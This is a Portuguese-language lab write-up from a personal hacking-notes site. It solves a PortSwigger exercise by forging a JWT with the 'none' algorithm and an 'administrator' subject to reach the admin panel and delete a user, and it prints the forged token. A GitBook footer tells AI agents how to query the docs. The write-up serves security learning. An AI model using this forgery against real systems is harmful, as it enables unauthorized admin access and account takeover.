> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md).

# Contorno de Autenticação JWT via Verificação de Assinatura Defeituosa

### Bypass de autenticação JWT por meio de verificação de assinatura falha

**Contexto do laboratório**

Este laboratório usa **Tokens Web JSON (JWT)** para gerenciar sessões de usuário. / A configuração do servidor está incorreta: ele \*\*aceita JWTs sem assinatura\*\*, permitindo falsificar um token válido sem possuir a chave privada.

**Objetivo:**

* Editar JWT da sessão para acessar `/admin` painel administrativo
* Excluir usuário **carlos**

**Credenciais fornecidas:**

* Usuário: `wiener`
* Senha: `peter`

\*\* Análise inicial do JWT\*\*

Após o login, um cookie de sessão JWT é fornecido:

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```

* **Cabeçalho**: `RS256` algoritmo
* **Carga útil**: `wiener` usuário
* **Assinatura**: original e válido

**Modificação do payload**

O objetivo é se passar por um administrador. / O `sub` campo é modificado no payload:

```json
{
  "iss": "portswigger",
  "exp": 1767531576,
  "sub": "administrator"
}
```

<figure><img src="/files/068f5d41edb022e9efdf389f99c3e5d117d43a5e" alt=""><figcaption></figcaption></figure>

**Exploração de verificação incorreta**

O servidor aceita JWT com `none` algoritmo. / O **cabeçalho** é então modificado:

```json
{
  "kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
  "alg": "none"
}
```

<figure><img src="/files/733858baef948f90e7453743fc8e947c3f3eab22" alt=""><figcaption></figcaption></figure>

Em seguida:

* A assinatura é completamente removida\*\*
* O JWT final termina com um ponto (`.`)

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```

{% endcode %}

**Resultado**

* O servidor \*\*aceita JWTs sem assinatura\*\*
* O acesso a `/admin` o painel é permitido
* Usuário **carlos** pode ser excluído

<figure><img src="/files/2e66376ce013bf14b2694c002e42f29cd25c4b14" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
